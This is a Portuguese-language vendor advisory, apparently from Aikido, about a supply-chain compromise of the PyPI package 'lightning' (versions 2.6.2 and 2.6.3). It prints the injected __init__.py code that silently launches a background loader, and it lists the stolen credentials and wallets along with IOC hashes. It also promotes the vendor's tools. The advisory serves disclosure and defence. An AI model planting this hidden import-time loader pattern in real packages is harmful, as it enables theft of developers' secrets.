A campanha da cadeia de abastecimento do Mini Shai-Hulud alastrou-se ao PyPI. Versões 2.6.2 e 2.6.3 do popular relâmpago Um pacote Python, amplamente utilizado para treinar modelos PyTorch, contém código malicioso que extrai silenciosamente credenciais de programadores, secrets da nuvem e carteiras de criptomoedas.
Isto surge na sequência de dois ataques recentes no âmbito da mesma campanha: o ataque ao Bitwarden CLI no npm e o ataque ao SAP no npm. O mesmo atacante, o mesmo worm, agora a passar do npm para o PyPI.
Se estiver a utilizar lightning==2.6.2 ou lightning==2.6.3, considere que o seu computador está comprometido.
Como funciona
O ataque é injetado diretamente em __init__.py, o ficheiro que é executado assim que se importa o pacote. É criada uma thread em segundo plano antes de qualquer código Lightning legítimo ser carregado:
def _run_runtime() -> Nenhum:
_runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime")
_start = os.path.join(_runtime_dir, "start.py")
if os.path.exists(_start):
subprocess.Popen(
[sys.executable, _start],
cwd=_runtime_dir,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
threading.Thread(target=_run_runtime, daemon=True).start()Executa start.py, um programa de inicialização multiplataforma do Bun que identifica o seu sistema operativo e a arquitetura do seu computador, descarrega o ambiente de execução JavaScript do Bun v1.3.13 e o executa router_runtime.js, a carga útil principal de 11 MB. O mesmo padrão utilizado nos recentes ataques ao Bitwarden e à SAP.
O que rouba
Chaves SSH, históricos do shell (bash, zsh, Python, Node, MySQL, psql), .env ficheiros, credenciais do Git, credenciais da AWS/GCP/Azure, configurações do Kubernetes e do Helm, credenciais do Docker, tokens do npm e configurações do MCP. Carteiras de criptomoedas, incluindo Bitcoin, Litecoin, Monero, Dogecoin, Dash, Exodus, Atomic e Ledger. Credenciais de VPN para NordVPN, ProtonVPN, CyberGhost, Windscribe e OpenVPN. Dados de sessão do Discord e do Slack.
Todos os dados roubados são encriptados RSA antes de serem transferidos para repositórios públicos do GitHub:

Como Aikido isto
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.
Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.
Para uma cobertura mais ampla em toda a sua equipe, o Endpoint Protection do Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins de IDE e dependências de build, tudo em um só lugar. Impeça o malware antes que ele seja instalado.
Para proteção futura, considere Aikido Chain (código aberto). O Safe Chain integra-se no seu fluxo de trabalho atual, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando os pacotes com base Aikido antes da instalação.
IOCs
- Pacote:
lightning==2.6.2,lightning==2.6.3 - router_runtime.js
- SHA256:
5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1
- SHA256:
- start.py
- SHA256:
8046a11187c135da6959862ff3846e99ad15462d2ec8a2f77a30ad53ebd5dcf2
- SHA256:

